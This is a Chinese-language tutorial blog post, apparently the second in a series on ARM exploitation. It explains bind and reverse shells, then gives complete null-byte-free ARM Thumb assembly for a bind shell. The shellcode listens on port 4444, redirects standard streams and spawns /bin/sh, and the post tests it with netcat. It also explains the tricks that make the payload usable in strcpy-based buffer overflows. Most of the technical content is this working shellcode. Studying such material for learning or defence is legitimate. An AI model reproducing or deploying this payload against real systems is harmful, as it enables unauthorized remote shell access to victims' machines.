ARM exploit编写二

31 篇文章 9 订阅

学习如何编写实现bind shell和reverse shell的shellcode。
首先我们要理解一些技术细节。
先来看看什么是bind shell以及它是如何工作的。通过bind shell你可以在目标机器上打开一个通信端口或者监听器。监听器会等待到来的连接,你连上去后,监听器会接收连接然后给你弹回一个shell.(其实就是我们所说的正向连接)
在这里插入图片描述
在看看Revese shell,通过reverse shell,你可以让目标机器回连到你的机器上。在这种情况下,你的机器开放了一个监听端口,然后接收从目标机器发来的连接。(即我们所说的反向连接)
在这里插入图片描述
根据实际情况的不同,两种类型的shell都有其优点和缺点。 例如,更常见的是目标网络的防火墙无法阻止传出连接而不是传入。 这意味着Bind shell将绑定目标系统上的端口,但由于传入的连接被阻止,就无法连接到它。 因此,在某些情况下,最好有一个可以利用允许传出连接的防火墙配置错误的reverse shell。 如果知道如何编写bind shell,那么自然也会知道如何编写reverse shell。 一旦了解了汇编代码是如何完成的,只需要进行一些更改即可将汇编代码转换为适合reverse shell的汇编代码。

在写bind shell的汇编之前,我们先熟悉bind shell的过程:

  1. 创建一个新的tcp socket
  2. 绑定socket到本地端口
  3. 监听到来的连接
  4. 接收连接
  5. 将STDIN,STDOUT,STDERR重定向到客户端新创建的socket
  6. 派生shell
    用c语言写出来就是如图所示,完整代码在bind_test.c

在这里插入图片描述
第一步还是明确所需的系统函数,参数以及他们的系统调用号。看看上面给出的C源码,可以知道我们需要这些函数:socket,bind,listen,accept,dup2,execve。查看系统调用号还是同样的方法,以socket为例
在这里插入图片描述
可以看到系统调用号为281
一样的方法,得到其他系统调用好,总结如下:
在这里插入图片描述
每个函数需要的参数都可以使用man命令来查看,比如execve的
在这里插入图片描述
已经给大家整理好了
在这里插入图片描述
下一步是找出这些参数的具体值。一种方法是使用strace查看成功的bind shell连接。Strace是一个工具,可以使用它来跟踪系统调用并监控进程和Linux内核之间的交互。让我们使用strace来测试我们的bind shell的C版本。为了避免代码的干扰,我们将输出限制在我们感兴趣的功能范围内(使用-e指定)。
我们先生成可执行文件,然后使用strace跟踪
在这里插入图片描述
再打开另一个终端
先看看端口是否开放了,我们在c源码中指定的是4444
在这里插入图片描述
确实开放了,列下来使用netcat连接,并输入命令试试
在这里插入图片描述
此时在strace这个终端打印出的内容如下
在这里插入图片描述
现在我们可以更加strace打印出的信息知道我们需要给bind shell传递哪些值了,具体如下

在这里插入图片描述

接下来我们将每个函数拆分为单独的块,并重复以下过程

  1. 确定哪个参数对应哪个寄存器
  2. 确定如何将所需的值传递给寄存器,包括:
  3. 如何将立即数传递给寄存器
    2.如何在不直接将#0移入其中的情况下使寄存器中不存在null byte(我们需要在代码中避免使用空字节,因此必须找到其他方法来使寄存器或内存中的值无效)
    3. 如何使寄存器指向存储器中存储常量和字符串的区域
  4. 使用正确的系统调用号来调用该函数并跟踪寄存器内容的更改:
    1. 系统调用的结果将落在r0中,这意味着如果需要在另一个函数中重用该函数的结果,则需要在调用函数之前将其保存到另一个寄存器中。
    2. 示例:host_sockid = socket(2,1,0)–套接字调用的结果(host_sockid)将到达r0。这个结果在监听(host_sockid,2)等其他函数中重用,因此应该保存在另一个寄存器中。

首先我们切换到Thumb模式
要降低遇到空字节的可能性,首先应该使用Thumb模式。在Arm模式下,指令为32位,在Thumb模式下,指令为16位。这意味着我们可以通过简单地减小指令的大小来减少空字节的可能性。要将模式从ARM更改为Thumb,请将下一条指令地址(位于pc中)的LSB(最低有效位)设置为1,方法是将pc寄存器的值加1并保存到另一个寄存器中。然后使用BX(分支和交换)指令分支到包含下一条指令地址的另一个寄存器,LSB设置为1,这使得处理器切换到Thumb模式。
.section .text
.global _start
_start:
.ARM
add r3, pc, #1
bx r3
从这里开始,将编写Thumb代码,因此需要在代码中使用.THUMB指令来指明这一点。

然后看看如何创建新的socket
在这里插入图片描述
这些是socket调用参数所需的值:
在这里插入图片描述
设置参数后,使用svc指令调用套接字系统调用。 这个调用的结果将是我们的host_sockid,最终将以r0结尾。 由于我们稍后需要host_sockid,让我们将它保存到r4。
在ARM中,不能简单地将任何立即值移动到寄存器中。为了检查我是否可以使用某个直接值,可以使用提供的rotator.py检测
在这里插入图片描述
在上图中分别输入281,200测试,281不能作为立即数,200可以
经过这一步,我们可以写出如下的片段:
.THUMB
mov r0, #2
mov r1, #1
sub r2, r2, r2
mov r7, #200
add r7, #81 // r7 = 281 (socket 的系统调用号)
svc #1 // r0 = host_sockid 的值
mov r4, r0 // 将host_sockid保存在 r4

接下来将bind socket绑定到本地端口
在这里插入图片描述
使用第一条指令,我们在文字池(文字池(literal pool)的本质就是ARM汇编语言代码节中的一块用来存放常量数据而非可执行代码的内存块。
)中存储一个包含地址族,主机端口和主机地址的结构对象,并使用pc相对寻址引用该对象。 文字池是存储常量,字符串或偏移量的同一部分中的内存区域(因为文字池是代码的一部分)。 可以使用带标签的ADR指令,而不是手动计算pc相对偏移量。 ADR接受PC相对表达式,即带有可选偏移量的标签,其中标签的地址相对于PC标签。 像这样:
adr r1, struct_addr // 指向地址、端口的指针
[…]
struct_addr:
.ascii “\x02\xff” //ff将变成空字符
.ascii “\x11\x5c” // 端口号 4444
.byte 1,1,1,1 // IP 地址
接下来的5条指令是STRB(存储字节)指令。 STRB指令将一个字节从寄存器存储到计算的存储区域。 语法[r1,#1]表示我们将R1作为基址,将立即值(#1)作为偏移量。
在第一条指令中,我们将R1指向存储区域,在该区域中存储地址族AF_INET,我们要使用的本地端口和IP地址的值。 我们可以使用静态IP地址,或者我们可以指定0.0.0.0以使我们的绑定shell监听目标配置的所有IP,从而使我们的shellcode更具可移植性。
同样,我们想要去除任何空字节的原因是使我们的shellcode可用于利用可能对空字节敏感的内存损坏漏洞的漏洞利用。一些缓冲区溢出是由于’strcpy’等函数使用不当引起的。strcpy的工作是复制数据,直到收到空字节。我们使用溢出来控制程序流,如果strcpy命中空字节,它将停止复制我们的shellcode,我们的漏洞将不起作用。使用strb指令,我们从寄存器中获取一个空字节,并在执行期间修改我们自己的代码。这样,我们的shellcode中实际上没有空字节,而是动态地将它放在那里。这要求代码段是可写的,并且可以通过在链接过程中添加-N标志来实现。
出于这个原因,我们编码没有空字节,并动态地将空字节放在必要的地方。 正如我们在下面看到的那样,我们指定的IP地址是1.1.1.1,在执行期间将被0.0.0.0替换。
在这里插入图片描述
第一个STRB指令用x00替换\ x02 \ xff中的占位符xff,将AF_INET设置为\ x02 \ x00。 我们怎么知道它是一个空字节存储? 因为r2仅包含0(由于“sub r2,r2,r2”指令清除了寄存器)。 接下来的4条指令用0.0.0.0替换1.1.1.1。 在strb r2,[r1,#1]之后,您也可以使用一个单独的str r2 [r1,#4]来完成0.0.0.0的完整写入,而不是四个strb指令。
mov指令将sockaddr_in结构长度(AF_INET为2个字节,PORT为2个字节,ipaddress为4个字节,8个字节填充= 16个字节)的长度放入r2。 然后,我们通过简单地向它添加1来将r7设置为282,因为r7已经包含来自最后一个系统调用的281。
adr r1, struct_addr // pointer to address, port
strb r2, [r1, #1] // write 0 for AF_INET
strb r2, [r1, #4] // replace 1 with 0 in x.1.1.1
strb r2, [r1, #5] // replace 1 with 0 in 0.x.1.1
strb r2, [r1, #6] // replace 1 with 0 in 0.0.x.1
strb r2, [r1, #7] // replace 1 with 0 in 0.0.0.x
mov r2, #16
add r7, #1 // r7 = 281+1 = 282 (bind syscall number)
svc #1
nop

接下来我们监听到来的连接
在这里插入图片描述
这里我们将之前保存的host_sockid放入r0。 R1设置为2,r7仅增加2,因为它仍然包含最后一次系统调用的282。
mov r0, r4 // r0 = saved host_sockid
mov r1, #2
add r7, #2 // r7 = 284 (listen syscall number)
svc #1

然后我们要接收连接
在这里插入图片描述
在这里,我们再次将保存的host_sockid放入r0。 由于我们想要避免空字节,我们不直接将#0移动到r1和r2中,而是通过将它们相互减去来将它们设置为0。 R7只增加1.这个调用的结果将是我们的client_sockid,我们将保存在r4中,因为我们将不再需要保存在那里的host_sockid(
mov r0, r4 // r0 = saved host_sockid
sub r1, r1, r1 // clear r1, r1 = 0
sub r2, r2, r2 // clear r2, r2 = 0
add r7, #1 // r7 = 285 (accept syscall number)
svc #1
mov r4, r0 // save result (client_sockid) in r4

接下来就是处理STDIN,STDOUT,STDERR
在这里插入图片描述
对于dup2函数,我们需要系统调用号63.保存的client_sockid需要再次移入r0,子指令将r1设置为0.对于剩余的两个dup2调用,我们只需要更改r1并将r0重置为 每次系统调用后的client_sockid。
/* dup2(client_sockid, 0) /
mov r7, #63 // r7 = 63 (dup2 syscall number)
mov r0, r4 // r4 is the saved client_sockid
sub r1, r1, r1 // r1 = 0 (stdin)
svc #1
/
dup2(client_sockid, 1) /
mov r0, r4 // r4 is the saved client_sockid
add r1, #1 // r1 = 1 (stdout)
svc #1
/
dup2(client_sockid, 2) */
mov r0, r4 // r4 is the saved client_sockid
add r1, #1 // r1 = 1+1 (stderr)
svc #1
最后一步是派生shell
在这里插入图片描述
// execve("/bin/sh", 0, 0)
adr r0, shellcode // r0 = location of “/bin/shX”
eor r1, r1, r1 // clear register r1. R1 = 0
eor r2, r2, r2 // clear register r2. r2 = 0
strb r2, [r0, #7] // store null-byte for AF_INET
mov r7, #11 // execve syscall number
svc #1
nop
execve()这一部分就不解释了,我们在上一节实验中已经详细介绍过了。
最后,我们在汇编代码的最后输入值AF_INET(带有0xff,将替换为null),端口号,IP地址和 “/ bin / sh”字符串。
struct_addr:
.ascii “\x02\xff” // AF_INET 0xff will be NULLed
.ascii “\x11\x5c” // port number 4444
.byte 1,1,1,1 // IP Address
shellcode:
.ascii “/bin/shX”

全部组装起来就是完整shellcode,在bind_shell.s
生成bind_shell可执行文件并执行测试
在这里插入图片描述
在打开第二个终端连接并测试whoami命令,可以看到成功了
在这里插入图片描述
最后一步还是讲它转成16进制字符串

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值